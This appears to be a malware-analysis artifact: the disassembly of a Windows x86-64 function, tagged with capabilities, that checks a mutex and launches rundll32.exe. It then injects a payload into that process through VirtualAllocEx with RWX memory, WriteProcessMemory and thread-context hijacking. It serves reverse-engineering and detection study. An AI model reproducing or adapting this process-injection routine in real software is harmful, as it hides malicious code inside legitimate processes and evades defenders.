Function at 0x2fbac1a05
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Create process on windows
Create thread
Execute shellcode via indirect call
Inject thread
Resume thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
sub rsp, 0x600
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x590], rcx
mov qword [rbp - 0x18], 0
mov qword [rbp + 0x578], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8d, 0x18
mov edx, 8
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x578], rax
cmp qword [rbp + 0x578], 0
je 0x2fbac1d17
mov rax, qword [rbp + 0x578]
mov r8, rax
mov rdx, qword [rbp + 0x590]
mov ecx, 4
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
call rax
lea rax, [rbp - 0x10]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov dword [rbp - 0x10], 0x18
mov dword [rbp], 1
lea rax, [rbp - 0x10]
lea r8, str.MUTEX___
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateMutexA]
call rax
mov rdx, qword [rbp + 0x578]
mov qword [rdx + 8], rax
mov rax, qword [rbp + 0x578]
mov rax, qword [rax + 8]
test rax, rax
je 0x2fbac1d1a
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0xb7
jne 0x2fbac1b0f
mov rax, qword [rbp + 0x578]
mov rax, qword [rax + 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x2fbac1d1b
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 5
jne 0x2fbac1b39
mov rax, qword [rbp + 0x578]
mov rax, qword [rax + 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x2fbac1d1b
call fcn.2fbac17f5
mov qword [rbp + 0x570], rax
lea rax, [rbp + 0x4e0]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov dword [rbp + 0x4e0], 0x68
mov rax, qword [rbp + 0x570]
lea rdx, [rbp + 0x550]
mov qword [rsp + 0x50], rdx
lea rdx, [rbp + 0x4e0]
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x44
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.rundll32.exe
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
call rax
test eax, eax
je 0x2fbac1cc3
mov dword [rbp + 0x40], 0x100003
mov rax, qword [rbp + 0x558]
lea rdx, [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadContext]
call rax
mov rax, qword [rbp + 0x550]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x800
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x568], rax
mov rax, qword [rbp + 0x550]
mov rdx, qword [rbp + 0x568]
lea rcx, [rbp - 0x18]
mov qword [rsp + 0x20], rcx
mov r9d, 0x800
lea r8, str.PAYLOAD:
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rax, qword [rbp - 0x18]
cmp rax, 0x800
jne 0x2fbac1cc3
mov rax, qword [rbp + 0x568]
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x558]
lea rdx, [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
call rax
mov rax, qword [rbp + 0x558]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
mov rax, qword [rbp + 0x558]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rdx, qword [rbp + 0x550]
mov rax, qword [rbp + 0x578]
mov qword [rax + 0x10], rdx
cmp qword [rbp + 0x570], 0
je 0x2fbac1ce0
mov rax, qword [rbp + 0x570]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x578]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x2fbac199f]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
jmp 0x2fbac1d1b
nop
jmp 0x2fbac1d1b
nop
add rsp, 0x600
pop rbp
ret